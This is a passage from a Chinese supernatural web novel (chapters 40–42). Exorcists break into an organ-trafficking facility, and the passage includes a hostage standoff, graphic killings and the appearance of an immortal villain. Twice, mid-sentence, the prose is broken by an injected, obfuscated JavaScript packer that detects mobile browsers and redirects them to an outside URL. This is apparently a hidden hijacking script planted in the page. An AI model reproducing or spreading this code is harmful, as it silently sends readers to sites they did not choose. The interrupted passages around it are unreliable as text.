苏佑容双手端着枪,枪口还散着一缕细细的白烟,自己在家模拟过数次的话终于起了作用—— “举起手,不许动!” 40.人质 王哥,介于他出场时间不会太长,就暂时称他为王哥吧。 王哥算是个混得还不错的除魅师,就是混得地方不是什么好地方。当除魅师的大家都知道,魑魅这种玩意就喜欢出现在那种阴气怨气重的地方,墓地啊,医院啊,出现过重大伤亡事故的事发地等等,这都是除魅师经常干活儿的地,固定、好找,每年都会稳定地产生单子, 唯一不好的,是这些地方被物零社垄断了。而他这种身份背景不干净的除魅师,根本进不去物零社这个半官方机构。 但常言道车到山前必有路、船到桥头自然直,有归物零社官方管的地方,那就肯定有他们管不到的地方——比如那些不干净的组织,身处极易产生魑魅的环境,却没办法寻求官方除魅师帮助,所以像王哥这样闲散、又有足够能力独自处理魑魅的除魅师,就成了稀缺资源。 当然,王哥也不是一开始就做除魅师工作的,毕竟这行伤亡大,不在官方机构又没人买保险,谁乐意做?所以前几年他一直在混混里做打手,练了一身肌肉,别的作用没有,唬人还挺好使。 但是干着干着他发现,这行竞争压力太大了。同样是拿命打架,有的是年轻人去拼命,腆着脸捧大哥臭脚,有些还得在商业上有头脑,而他只是个肌肉发达的打手,一点上升空间都没有。 迫于无奈下,王哥捡起在一些歪门邪道下了解到的除魅师行业,并且碰到了一位伯乐。 伯乐看上去也年纪不大,一直戴着鸭舌帽和口罩,有时还带墨镜,像个明星一样捂得严严实实的。认识快半年,王哥连对方长什么样都不知道。但这不妨碍自己捞到很多好处,包括质量很好的附魔器,一些处理魑魅的方法,以及现在这个不干什么就能收入巨款的躺平工作。 这伙器官贩子是真厉害,王哥最开始也有点不能接受,看着那些人干的各种脏活,他觉得太过湮灭人性。 但很快,他就被钱砸服了。 是啊,谁不喜欢钱呢?那些人和他非亲非故,出去以后也是一月三千的命,拆开后能带来几十上百万的价值,怎么不算发挥了人身的意义? 半推半就下,王哥开始稳定在这处理产生的魑魅,也受过伤,但不致命,渐渐的,他发现魑魅刚刚诞生的时候最好处理,而诞生地往往都是关货物的地方。所以他开始经常往货物那溜达,逗逗那些货物玩,收拾收拾想逃跑的,有魑魅就处理一下,日子那是过得好不快活。 直到今天,负责人小赵突然着急忙慌地说有三个人闯进来,有个人特别能打,想要王哥帮忙。这就属于业务外的工作了,做也行,但没那么大干劲。于是直到黎子鸣被堵在楼下,王哥才不急不慢地准备下楼,结果没想到在储物室外边碰到了另外两个入侵者。 嗯,看上去挺弱鸡的,还不如新出现的魑魅。 王哥心里顿时产生念头,刚好在储藏室旁边,把这俩直接关进去,再下楼处理据说不好搞的那个,岂不是一次赚三份钱? 简直妙极了,他刚抬起刀,开始挤弄身上唬人的肌肉,说着威胁的话,却看到对面那小孩拿出什么黑漆麻乌的东西…… “砰——” 砍刀飞出十米远。 他妈的,没人告诉他这小孩手里有枪啊!!! …… “举起手,不许动!” 携带了一路的手枪终于能发挥它真正的作用。不得不说,刚刚这肌肉男砍掉魑魅的这一刀真的砍在了苏佑容心坎上。毕竟武器这方面他只擅长射击,而偏偏这种热兵器没办法附魔,对付魑魅他就是两眼一抹黑。 但对付纯人类,那就只能说:时代变了。 在这一刻,苏佑容的底气忽然强到了极致,或许这就是玩恐怖游戏不能有枪的原因,此刻所有的敌人都站在明面上,不用再心惊胆战的探索,现在只需要把boss战打过去就好。 而对面的这位王哥,此时心中那可是万马奔腾啊。都说被关在楼下的那小子难整,合着是都不知道楼上这小子手里有枪吗?俗话说功夫再高也怕菜刀,楼下那人打架再厉害也不会厉害过一把自动手枪吧!?这倒霉事怎么就让自己撞上了! 但是天无绝人之路,王哥的身边,明显有个绝佳的盾牌。 片刻的思考间,苏佑容似乎有些等不及了,他高声重复道:“没听见吗?把手举起来!向后退!” “好、好,小朋友别那么激动……”对面讪讪地举起手,开始踱步后退。他的身后是那间关押受害者的牢房,苏佑容的目的也很明显,有现成的囚禁手段,不用白不用。 但从他的目的就能看出来,他还是欠缺了什么。即使已经拿枪口对准人,但他根本没有朝人开枪的打算—— 或是说,他还没有想到“自己或许要杀人”这一可能性。 更何况他犯了一个致命的错误,那个房间里,还有刚刚被壮汉男人逼回去的受害者。 于是局势反转,王哥在后退迈入屋子的一刹那,瞬间弯腰下蹲,冲到那毫无反抗之力的受害者面前,将她扯起来,架在自己身前,又不知道从哪掏出来把小刀,横在她的脖颈前方! 苏佑容完全没对王哥的动作做出任何反应,他想到了这种可能性,但他坚信自己在对方做出异动的一瞬间就会开枪,不会让对方挟持受害者为人质。 只能说他终究还是个不谙世事的大学生,真到要开枪的时候,他却发现自己无法扣下扳机。 “哈哈哈哈哈哈哈,到底是物零社的理论傻子!”优势回到自己这边,王哥瞬间又爆发出得意忘形地嘲笑:“把枪放下,放地上,推给我!” 他把刀刃往受害者的脖颈逼近了几分,一抹淡淡的血痕浮现在女生白皙的皮肤上:“不然我就杀了她!” “你!” 放枪?那肯定不能放,苏佑容深刻的知晓这点。如果他按照对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239224|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意思把枪放下,自己也好、那个受害者也好,都会变成刀俎上的鱼肉,彻底是死路一条。 被对方挟持的受害者已经近乎失去意识了。她被关押了多天,没有进食,身体本就没有力气,刚刚撞门的举动已经是她能做的最后挣扎,而面前的苏佑容似乎也是她最后的希望。 见苏佑容没有妥协的意思,王哥又逼近几分,当然也没忘把自己的身体往受害者身后藏。 只是他毕竟是个壮汉,女生纤细的身体其实并不能完全挡住他,部分躯干和部分头部不可避免的露在外边,尤其是头部,只要能击中要害部位,足以让对方在无法伤害人质的情况下彻底死亡。 苏佑容也知道这点,他调整准心,瞄准对方的鼻梁中间,据说,从这里射入子弹可以直接捣毁脑干,是在面对犯罪分子挟持人质时的最好射击点。 “瘪犊子,把枪给我!”王哥进一步威胁,“你再不给我我就直接杀了这女人,她的尸体照样可以挡枪。” “呵,你也知道我们是做什么的,活人和尸体,对我们来说价值都一样。” 王哥步步紧逼,刀刃更是在脖颈的皮肤下越刻越深:“她要是死了,那就是因为你死的!” 这句话如五雷轰顶,炸得苏佑容瞬间失去听力。 是啊,他也知道,他明明也知道!这是赤裸裸的道德绑架,施暴的人是你,杀人的人是你,怎么能说是因我而死呢!? 但明白这些不代表,他真的能忽视这些。 苏佑容终于将手指放回扳机上。是的,在他开枪打飞对方的武器后,其实暂时把手指挪开扳机,因为怕擦枪走火,学校里的老师一直是这样教的。虽然他将枪口对着人,但种种潜意识的动作都表明,他根本没有对人开枪的觉悟。 可他现在必须做出决断了。 要想保全所有人,只有朝着劫匪开枪。而且必须精准的命中对方头部,不然人质也会受到伤害。 但万一,万一他没能瞄准呢? 原本稳定托举的枪身开始颤抖起来,扳机也像是被无形的枷锁锁住了,他每次试图施加力量都异常艰难。如鼓的心跳声震耳欲聋,明明身处冰凉的空气里,苏佑容却感觉到无数汗水几乎浸透他后背的衣服。 他的眼前浮现出画面,他没能瞄准,子弹打在人质身上,受害者朝他投来不可思议的眼神;抑或是他瞄准了,血花在劫匪的头上绽放开,混着脑浆洒落一地…… 那些鲜血都溅到他的身上,溅到他的手上,把他的视野染得一片血红。 这些画面挥之不去,带着他的身体,颤抖的幅度越来越大。 直到那个熟悉的声音,冷漠地叫醒了他—— “苏佑容,开枪。” 安格森站在他的身后,语气里全是冷静和漠然: “开枪,你的技术很好,不要管干扰因素,你可以命中他。” “开枪!” 41.枪响 “推开门后,你看见了什么?” 纽约城郊的别墅里,菲奥娜仍在继续她的讲述。 “我其实,没看见太多东西。”菲奥娜摇摇头,“我看见安格森家里的灯光灭了,随后闪起枪口火药发出的火光。” “玻璃上好像有血,太暗了,我看不清。” “枪声消失了。那几个蒙面男人开始往车上搬东西,搬一阵,在房子里搜刮一阵。” “就在他们再一次进入房子搜刮的时候,我看见安格森回来了。” 菲奥娜想要拦住他。她顾不得危险,冲着窗外大喊。对面忙着搜刮财物,没时间顾及马路上的两个年轻人。她看见安格森看着自己家门口的黑车,呆愣地站在那里,随后将目光移向窗户上飞溅的血迹。 “安格森!”菲奥娜叫他的名字,“别回去,来我家吧……别打开那扇门!” 但对方好像没听见她的话一样,身体像失了魂一样僵硬,但还是一步步上前,走进了一片狼藉的家里。 菲奥娜早就报警了,此时也听见远处隐隐约约传来警笛的呼啸声,安格森刚刚踏进玄关,只要把他拉出来,就还有救,警察马上就来了! 她再也呆不住,冲出房子,冲到对面混着血腥味的空气中,才发现流动的鲜血已经从门缝渗了出来。 “安格森!”她喊着对方的名字,不知道哪来的勇气,走进了那间面目全非的小屋。 …… “开枪。” 传递给苏佑容的声音,熟悉、冷漠、还带着命令。 “你的射击成绩很好,能精准射中刀柄,也能精准射中劫匪的鼻梁。” 他察觉到苏佑容的顾虑,层层递进地补充道: “你不用承担任何责任,只需要考虑,如何活下去。” 一句句冰冷的话像爬行的黑色毒蛇,绕着苏佑容的身子,尾尖扣着他的手指,伏在他耳边低语。 “现在只需要,开枪。” “叽叽喳喳说什么呢!”一声狂躁的怒吼打破氛围,王哥的肢体动作更加粗暴:“我数三个数,再不把枪给我,我就杀了她!” “安老师,我……”苏佑容觉得自己已经完全无法思考,甚至说不出完整的话。冰凉的金属枪身在此刻似乎变成了烧红的烙铁,烧焦他的皮肤,但又让他无法松手,只有不断无力下坠的手臂和额头上凝结成珠的汗滴,把他的精神按在地上一遍遍鞭打。 我做不到。他甚至无法说出这四个字。 “三!” 对面可不管苏佑容在想什么,高调地开始了他的死亡倒数。 “二!” “啧。”苏佑容听见身后传来烦躁的咂嘴声。 “吵死了。” …… “警察赶到,救下了你们,是吗?”林欣予按照新闻报道的内容,陈述着询问道。 意料之外,对方给出否定的答案。 “不、不是,”菲奥娜不自觉抱紧自己的身体,仿佛回忆起什么恐怖的记忆:“和警察没有关系。” 菲奥娜踏着流动的血液,想要悄声走进房间,却先听见房间里传来的求饶声。 “我错了!对不起、对不起啊啊啊啊啊啊!求你、求你不要杀我!” 是她没听过的声音,不是安格森的声音。 门内的场景和她想象中的很像,又不太一样。地上、墙上,到处都是流动的血液,还有子弹射击的痕迹,房子里一片狼藉,散落在地上的破碎灯泡有些还连着电线,滋出点点火花。 而倒在地上的,是两个她熟悉的身影,隔壁的伯父伯母,那个温柔的妻子和干练的丈夫。 还有两个倒在地上的,是一身黑的家伙,血液在黑衣上不明显,但他们惊恐的表情完美定格在死前的最后一刻。 “别杀我,东西我都还给你,钱都还给你,不要了!只要你别杀、” “砰——” 枪响了,从那个红发少年的手中,迸发出如白昼般的火光,带着子弹射入那人的眼眶里,射入那人的大脑里,飞溅的人体组织瞬间混入这一片狼藉中。 菲奥娜看着眼前的这一切,所有动作都被空气束缚住,无法移动半分。“安……”她试图呼唤对方的名字,却在对方转头看向她的这一瞬锁住喉咙。 红发少年的蓝色眼睛像是夜晚的月亮般明亮,无神的、无情的、带着尚未抹去的杀意,在一片血红中愈发明亮。 “警察在五分钟后才来。”菲奥娜缓了缓,接着说道:“那三个强盗,都是安格森杀的。” …… “砰!” 枪还是响了,子弹越过苏佑容,越过人质,顷刻间击穿劫匪的鼻梁。 苏佑容的颤抖瞬间停止,他最终还是没能按下扳机,但此刻不需要他了。他也在这时才想起,安格森准备了两把枪,另外一把本来是要给黎子鸣的,但黎子鸣没拿。 所以那把枪在安格森身上。 他在两秒内掏枪,上膛,然后一击毙命。 但安格森似乎觉得事情还没结束,他越过苏佑容,走上前,手中的枪对准那具已经失去呼吸的尸体,连续扣下扳机。 “砰、砰、砰……” 清晰可闻的枪声一下一下响起,飞溅的血液染红他的衣角,甚至有些溅到他脸上,但他似乎毫不在意。直到他打空那个弹夹,把尸体的头部毁得面目全非。 就像是在泄愤一样。 安格森从口袋拿出纸巾,把自己脸上的血液擦掉,对呆愣在旁的苏佑容说道:“走吧,这层有中控室。” 苏佑容可能是吓傻了,半天没什么反应,直到看见安格森把自己身上能被擦拭掉的血迹都擦掉,才怔怔地开口:“那、那个女生……”指的是晕倒在地上的受害者。 “你要有力气就背着,没力气就等联系到警察后再来接。”安格森不耐烦地说着:“还在墨迹什么,你不担心黎子鸣吗?还是说想在这收尸?” “不是……”安格森从没对他这样说过话,苏佑容顿时感觉有点委屈,但又不知道自己在委屈什么,或许是因为到最后还没能自己扣下扳机,还是拖了后腿。 而安格森只觉得心里的烦躁并没有缓解多少,但也能理解这种场合对于苏佑容这个学生来说,不是容易接受的。所以他也暂时没再步步紧逼,而是蹲下身开始翻尸体,并且从对方兜里翻出来一张门禁卡。 找出卡后,安格森没再管苏佑容,而是自己走出门,朝着更深处的地方走去。刚刚这里这么大动静,都没人跑来支援,估计是都在楼下堵截黎子鸣了。这群器官贩子的思路不难猜,断掉电梯,把他们俩困住楼上,集中力量解决最能打的黎子鸣,然后再来收拾楼上的两人。 但千算万算没想到,两人手上都有枪,并且现在拿到了中控室的门禁卡。 现在,这栋建筑的掌控权在他们手上了。 苏佑容回过神时,身边只有那个昏迷的幸存者。他蹲下看了眼对方的状态,女生只是惊吓过度,身体上有些轻微的擦伤,并不致命,想必用不了多久就会苏醒。不远处是那具尸体,苏佑容不是没见过尸体,甚至见过被魑魅撕碎的,但看到因为子弹而死去的尸体,感觉总归有些不一样。 安老师开枪的时候在想什么?苏佑容不禁思考,为什么他可以毫不犹豫的开枪,而自己却做不到这些……他一边这样想着,一边顺着仅有的一条路走向被打开的中控室。 安格森似乎进去一段时间了,此时已经在电脑里翻出建筑地图,还有所有可以控制的机械点位。 察觉到苏佑容进来,安格森看了他一眼,招呼他道:“来看地图。”他指了指两人现在所在的位置,又向下挪动,指了指黎子鸣所在的位置:“地图里红色的是能从中控室操控的门和电梯,如果我们现在回去救黎子鸣,怎样才能把他带出来,并且把那些人关在一个逃不出去的地方?” 面对这突如其来的问题,苏佑容愣了一下,但马上就指着地图回答道:“先提前打开停车场出口,从这层d3口下楼,回我们刚刚在楼下的走廊,从正门进入,应该能吸引围攻黎子鸣的人的注意力。” “和他汇合后,从e2和e5口穿过,在穿过e5的时候关闭e4,追击的人会被分为两股,很有可能从这两个通道试图围堵我们。”他思路清晰,手指顺着话语比划出定点位置,“这里有3号电梯,通过这个电梯上楼,然后切断电源。上层比下层结构简单,可以只花一半的时间返回我们上来时候的1号电梯,再从1号电梯下楼,就能从停车场出口出去了。” 安格森有些故作 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“控制台会用吧?”他眼神示意苏佑容去看旁边的控制台:“我下去接黎子鸣,情况通过对讲告诉你,你来控制所有机械的开关。” 这相当于,把他们两人的生死完全交到苏佑容手中。 “能做到吗?” “能!”苏佑容回答道,声音比军训时答到还要大。 这个举动像是给苏佑容下了一针强心剂,几乎让他忘记了刚刚的遭遇。老师还信任自己,信任自己的能力,自己对于这个团队来说并非一无是处,这就是安格森向他传递来的消息。 苏佑容坐在控制台前,用一分钟就摸熟了所有使用方法,甚至在控制程序里找到一行可修改的代码,可以缩短机械运转的时间,给他们的离开争取更大的容错率。 安格森已经下楼,苏佑容关闭d3通道的大门,又打开黎子鸣被围困的房间的门锁,不出意外的话,30秒内他就能听到安格森的回复,进行下一步动作。 然而时间一分一秒过去,计划中的回应并没有到来。苏佑容不知道发生了什么,对讲机那边是一片死寂。他也不敢贸然询问,怕对讲机的声音暴露安格森的位置。 直到整整五分钟过去,在焦急地等待中,沙哑的电流声终于响起—— “不用再执行计划了。”对面传来安格森有些低沉的声音:“你下楼吧,从电梯下来就行,不用绕路。” “什么意思?”苏佑容问了一句,但那边迟迟没有回复。 片刻的踌躇后,他选择相信老师,重启电梯权限,顺着电梯回到地下。 在尚未打开的电梯里,苏佑容问到一股有些刺鼻的气味,像是咸湿的铁锈。他刚刚闻过这个味道,是血液的味道,从那具尸体上散发出,让人产生本能的不适和不安。 但是那具尸体上的血腥味远没有如此明显和浓烈,电梯门外传来的味道就像是无数具尸体堆在一起一样,到底发生了什么?是那些内脏标本被打碎产生的味道吗? 电梯门缓缓打开,映入眼帘的,仿若地狱。 标本确实被打碎了,地上满是玻璃碴子和混着血液的粘稠液体。能看出来,这里发生了大规模打斗,并且最终是一个十分惨烈的结果。 地上横七竖八倒着人,都是陌生的脸,估计是来围攻黎子鸣的打手,不过此刻他们都被黎子鸣干倒了,像风干的腊肉般躺在地上不省人事…… 不,与其说是不省人事,不如说是已经与世长辞了。 倒在地上的人,身上都有大大小小的伤口,或是在四肢,或是在躯干,从伤口溢出来的血撒了一地,几近要形成一条小小的血河。苏佑容能看出来,在这种出血量下,人很难活下去。 遍地的尸体中间,黎子鸣站在那。 他好像有些累了,把手中鲜红的匕首放在中央的冰柜上,像是刚上完一节体育课,看见苏佑容的身影出现在电梯里,脸上绽开安心的笑容: “你也没事啊,那就好。” 话罢,黎子鸣摸摸自己的口袋,好像没找着想要的东西,于是他向苏佑容伸出满是鲜血的手—— “有纸巾吗?脸上血有点多,看不清了。” 42.黑衣人 黎子鸣拿着湿纸巾,很仔细地擦拭自己脸上的血迹。擦完脸,他又尝试擦自己衣服上的,但血液已经渗进布料的纤维里,洗都不一定洗得干净,所以他忙活半天,最终只能看着被染成红色的衣服作罢。 这件衣服还挺贵的,他舍不得。 在他整理自己仪容仪表的时候,安格森摸了房间里大半人的脉搏,只有几个人的心跳还在微弱跳动,但看伤势,现在马上送医院也救不回来了。 苏佑容还站在电梯口,从他见到这幅场景时,他就没再向黎子鸣靠近一步,就连湿纸巾都是扔过去的。他踢踢离自己最近的一个身体,理所当然没获得任何反应。 半晌之后,苏佑容才小心翼翼地开口:“这些人都是你杀的?” “嗯?”出乎意料的,刚擦完血的黎子鸣展示出疑惑的状态:“没有啊,他们只是晕了吧,我没有下重手。” 这怎么看都不是没下重手,也不知道黎子鸣这里对重手的标准是什么。 真没死吗?苏佑容看了眼地上横七竖八的人,怎么看都是死翘翘的样子。他也不敢上手摸心跳脉搏,只能开始自我催眠“都没死都没死”。 只可惜,安格森不走这些弯弯绕绕,他数了下人数,朝着还完全没有自我知觉的黎子鸣说道:“死了13人,还有8人濒死,也撑不了多久。”他顿了一下,接着说:“你按对付魑魅的手法对付人类,没下重手也足够致命了。” 闻言,黎子鸣脸上终于闪出些慌乱:“啊?那、那我这也没办法啊,总不能让他们对我动手吧。” “如果是一两个人倒还好说……”安格森环顾四周的惨状,艰难地思考要如何处理。对面是犯罪团伙,出任务的过程中遭遇袭击,为自保反击,最多也就写点教育材料。这也是为什么安格森在楼上会毫不犹豫地开枪。 但这么多人,就有点麻烦了。 身为当事人的黎子鸣看上去好像没什么反应,倒是旁边的苏佑容仿佛大脑宕机了,一边喃喃着“妈啊妈啊”一边念叨着“这可咋办”,急得像热锅上的蚂蚁团团转。 转了半天,他猛然冲上前抓住黎子鸣的衣领:“你下手怎么这么没轻重!” 黎子鸣有些震惊对方这么大的反应,或许因为他自己也知道这件事的严重性,那躺平的脑仁勉为其难地动了一下:“对了,刚刚、刚刚其实还有魑魅,也被我顺手解决了。” 魑魅魑魅脑子里面一天到晚就想着魑魅!苏佑容只觉得恨铁不成钢,咬字又硬了几分:“这些人又不是魑魅杀的,刀和魑魅造成的伤口天差地别,法医一验就能验出来。” “别想了。”安格森打断他的话:“这不是你们该考虑的事,我来解决。” 他看了眼手机屏幕,对另外两人吩咐道:“刚刚关闭信号屏蔽器后,我已经联系警察了,估计还有十分钟到,现在抓紧时间先出去吧,苏佑容去把楼上那个女生带上。”安格森又对黎子鸣吩咐道:“出门左拐第二个房间是更衣室,应该有衣服,挑件干净的换上,别让别人看见你身上的血。” “好。” 两个学生答应得超级快,这俩现在一个大脑过热宕机,一个从始至终就没开机过,有个人吩咐做事从未如此美妙过,马上就开始准备往两个方向走。 但似乎有个神秘力量在阻碍他们,就在两人即将离开这个房间时,房间角落的一个铁柜,突然响了。铁柜放在门口右边,门板的后面,半人高,很不起眼。因为靠角落,甚至连血都没被溅上几滴。 这又是什么情况,又出现魑魅了吗?真是说什么来什么啊……但好在现在有黎子鸣。 于是当另外两人把目光投向黎子鸣的时候,他突然一拍手,醍醐灌顶状道:“哦,对了!之前来了22个人,地上只有21人的话,还有一个人不见了!” 很好,合着这是个人。 像是要印证黎子鸣的话一样,那柜子的门自己缓缓打开,露出里面穿着凌乱西装的中年男人,这人叫赵学明,是这里的头头,是他锁了门叫人来这里收拾黎子鸣,也是他发现不对劲后最先躲起来。 只是,他没能躲到最后。 “各位好汉啊,我什么都没做,这里的东西都和我没关系!饶了我,求求你们饶了我!我给你们钱,你们要多少我都给!别杀我、别杀我!” 要不说人家能当领导,主打一个能屈能伸。赵学明在被从柜子里揪出来的一刹那就发出尖锐爆鸣,顺势直接往地上一跪,开始一边求饶一边“砰砰砰”磕头。 问题转眼间来到了物零社三人这边,抛开一脸无所谓的黎子鸣不管,安格森和苏佑容都知道,这时候还有目击者幸存,肯定是个天大的坏消息。 赵学明是个人精,一眼就能看出来这三人里哪个是管事的,求饶的方向明显偏向安格森:“大哥,这位大哥,我一定老老实实带你们出去,把我交给警察也行,我绝对对这里发生的一切闭口不谈!” 闻言,安格森饶有兴趣地蹲下去,盯着这人的眼睛问道:“那你现在说说这里发生了什么?” 赵学明一愣,随即马上说道:“我不知道啊!所有人莫名其妙就死了,多亏这位少年英雄出手,我才得救啊!” 这人身上没有灵力,却知道魑魅存在。安格森想到楼上那个除魅师,突然开始思考这双方是如何认识的。一般来说,没有灵力的人很难涉足除魅师的领域,他们这种情况又不可能通过报警的方式联系到物零社,中间的牵线人估计有点身份。 “你俩,先去做我之前吩咐的事。”安格森朝两个学生说道,“我和这人聊聊。” 听到这话,苏佑容好像有些着急,一边嚷嚷着“别信他”,一边被黎子鸣拽走了。 等到两人的脚步声渐远,安格森才开始处理赵学明这个烫手山芋。 赵学明见这看上去挺温和的人把那个杀神支开,又沉默不语,自以为求饶起了作用,进一步说道:“我在这边放了黄金!我都给你,马上能变现的,只要别杀我,什么都好说!” “不用你的钱,我就问你个问题。”安格森说:“你是怎么认识楼上那个除魅师的?” “除、除魅师?”出乎意料的,赵学明对这个称呼表现出疑惑。于是安格森立马换了个说法:“‘道士’、‘法师’、或是什么别的,给你们处理超自然现象的人。” 赵学明这会儿才恍然大悟:“您是说王哥!我和王哥是三个月前认识的……” 安格森没兴趣知道那个死人叫什么,也没时间听他废话,简明扼要地打断道:“说重点。” “呃……认识,认识他是因为……”说到这,赵学明突然想起那人警告过他,不要说出关于他的任何消息,否则工厂会死更多人。但眼瞅着工厂已经完蛋了,还有什么必要遵守这个奇怪的规矩? 于是他接着说道:“是我们厂长的合伙人!我们叫他鹿总,他一直蒙着脸,不知道长什么样。” “鹿总?”安格森挑挑眉,虽然只有一个姓氏,但这种情况下足以证明对方的身份。 又是那个家伙,名为鹿千的人形妖怪,不老不死的怪物。目前发生的所有事情似乎都和他有关。数数他复苏以来干了什么?和这群人类合作搞器官贩卖,指使徐贺和叶琳去物零社偷文件……甚至不是明抢,不管出现在哪都蒙着脸,所有行为都像阴沟里的老鼠一样,怎一个鬼鬼祟祟足够形容。 这家伙真的是传说中的大妖吗?还是说,他现在在积蓄力量,准备干票大的? 安格森思来想去,暂时没想出什么结果。说到底,他现在和那个鬼鬼祟祟的家伙连面都没有见过。 看安格森没回应,赵学明有点慌了:“大哥、大哥你还想知道什么!我全都告诉你啊!” 回应他的,是一个黑洞洞的枪口。 安格森拿着那把已经杀过一人的手枪,抵住赵学明的额头,笑眯眯地道:“我没什么要问的,剩下的话,你去和那些被你们害死的人说吧。” 安格森从一开始就没相信过这人求饶的话,被警察抓了,赵学明肯定是死刑,怎么可能不把黎子鸣说出来,拉他下水;更别提他如果不想见警察,谁知道会为了逃跑做出什么事。 不论如何,赵学明的命都必须留在这里。 枪口没有再留下花言巧语的时间,安格森毫不犹豫地扣下扳机—— 然而,想象中的事情并没有发生。 在赵学明的尖叫声中,子弹停在他额头前的毫厘之处。 没有卡膛,也不是什么其他故障。子弹像是打进了一团透明的非牛顿流体中,被牢牢地禁锢在半空,就那样诡异地停在那里,分毫不动。 没等安格森做出反应,一股黑色的雾气从赵学明脚下的地板里横空出现,顷刻便覆盖赵学明的全身。同时,黑雾爆发一股巨大的推力,把安格森朝旁推了个趔趄,差点把他掀飞出去。 就在这恍惚间,黑雾裹挟着赵学明的身体,从敞开的大门飞驰而出! 好巧不巧,黎子鸣也刚好在这时换完衣服,穿着一身审美堪忧的花衬衫和沙滩裤走到门口,被这莫名其妙的变故整懵了,一脸问号地看着黑雾远去的方向,直到安格森向他大喊“追!”,才迅速拔脚追上去。 那黑雾速度极快,在狭窄的通道里漂移,目的地倒是很明确,要把人往外边带。黎子鸣速度也不慢,一直没追丢,但他越追越觉得一缕凉意从脚底油然而生,那黑雾看着像魑魅,却又好像是什么别的东西,带着一股不属于人间的阴气,像是将人往地狱牵引。 黑雾的速度太快,完全超越人类极限。黎子鸣看着眼前的目标越来越远,只觉得力不从心,但很快,他看到了这团黑雾的终点。 此时,黑雾已经在高速漂移中跑出建筑物,来到外边的空地中央。几个小时过去,外边的太阳依旧威力不减,而这黑雾在阳光之下居然没有任何衰弱,反而持续散发着阴寒的气息,甚至把太阳的热度都抵消了几分。 空地中央还站着一个人,那人一身黑色,哪怕在这酷暑之中也穿着长袖长裤。黑色的长发散落至腰间,鸭舌帽压得很低,脸上还带着黑色口罩,只能勉强看见帽檐下的那双眼睛。 一双湛蓝色的眼睛。 包裹着赵学明的黑雾把赵学明送到黑衣人旁边,缓缓散开,但却没消散,而是若隐若现的在那人周边浮动。 目睹这一切的黎子鸣,在稍远的地方停下了。直觉在告诉他,面前这个人很危险,再靠近的话,他将没有对危险做出反应的时间。 他沉默着抽出附魔器,片刻的判断后他可以确定,面前这位,根本不是人类。 “鹿总!鹿总!!!”被放下的赵学明立马开始高声叫嚷:“我知道您不会放弃我们的!鹿总,就是他把弟兄们都杀了!!!” “您得给弟兄们报仇啊!” 听到这个称呼,黎子鸣隐约想起什么,那天晚上从名为叶琳的梦寐口中,他听过这样一个名字——“鹿千”。而被如此称呼的黑衣人,散发着不属于人类的气息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262522|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加上这个称呼,其身份不言而喻。 憎恶着人类的不死之妖,此时从传说中走出来,就站在他的面前。 赵学明还在叫嚷,但黑衣人在黎子鸣站在他面前的那一刹那起,目光就再没从黎子鸣身上挪开过。那双阴沉的蓝色眼睛眯了起来,似乎在笑,看得人汗毛倒立。 黎子鸣感觉手心出了很多汗,渐渐握不紧手上的附魔器。他突然后悔没带零器,因为本以为这只是次简单的任务,却不想直接遇上大boss。或许是因为黎子鸣本身很强,所以他能更清楚地感知到对方的力量,远远超乎自己的想象,仅仅是同处于一个空间就给他带来如潮水般的压迫感。 这是黎子鸣从来没有遇到过的情况,他打起十二分精神,却觉得恍惚间看不清对方的身影,体内的灵力完全无法运转,握刀的手甚至在微微颤抖。 对峙几秒后,黑衣人居然率先开口了—— “你,不错。”他的声音听着很年轻,不低沉,却像裹了一层冰霜般寒冷:“跟我走吧。” “?”黎子鸣一时没能理解对方在说什么,但赵学明的怒吼帮了他一把:“鹿总!您在说什么啊!?他可是工厂的仇人唔……” 赵学明的话没说完,突然被黑衣人堵住嘴,握着下颌骨举了起来! “他死了是不是对你更好?”他说着,看不见脸,却能感觉到他语气中的笑意:“那我把他的命送给你,当做我的诚意吧。” 话音刚落,赵学明的表情还没来得及变化,突然在空中骤然爆开!像是有人在瞬间朝他体内注入无数空气,他的身体像气球一样膨胀,然后在承受不住的压力下彻底被撕碎,骨骼和血肉夹杂着皮毛飞溅一地,还有些完整的内脏掉落在地上,新鲜的心脏顺着惯性咕噜咕噜滚到黎子鸣脚边,随后在绝望中停止跳动。 眼前握着尸体爆炸的黑衣人,身上却连一滴血液都没被溅到。 饶是刚刚干过一番大事的黎子鸣,在面对这样的景象时,也彻底失去了反应和思考能力。 看黎子鸣一直没做反应,对方好像有些不耐烦。身影一闪,居然直接闪现到黎子鸣近在咫尺的面前!黎子鸣只觉得一股阴寒之气扑面而来,下一秒,和带走赵学明同样的黑雾瞬间缠绕上黎子鸣的身体,对方的意图不言而喻,没有回应,那就强行带走! 就在黑雾即将完全包裹他的时候,一股刺眼的白光突然四散开来,把那黑雾打得粉碎。光线中,黎子鸣手中的附魔器渐渐化为粉末消散,他终于克服生理上的恐惧,在对方离得最近的时候,毫无保留的发动反击。 黑衣人也被这突如其来的反击将了一军,刺状的灵力划破他的脸颊,逼得他用袖子捂住脸快速后退。 与此同时,一抹红色出现在远处的门口,安格森姗姗来迟,他根本追不上黎子鸣和那黑雾的速度,身体甚至有点难以承受一路跑来的剧烈运动。但这不影响他在看到黑衣人的瞬间举枪射击,弹道在接近黑衣人的时候被肉眼可见的力量扭曲偏移,一弹夹子弹下去居然一发都没有命中。 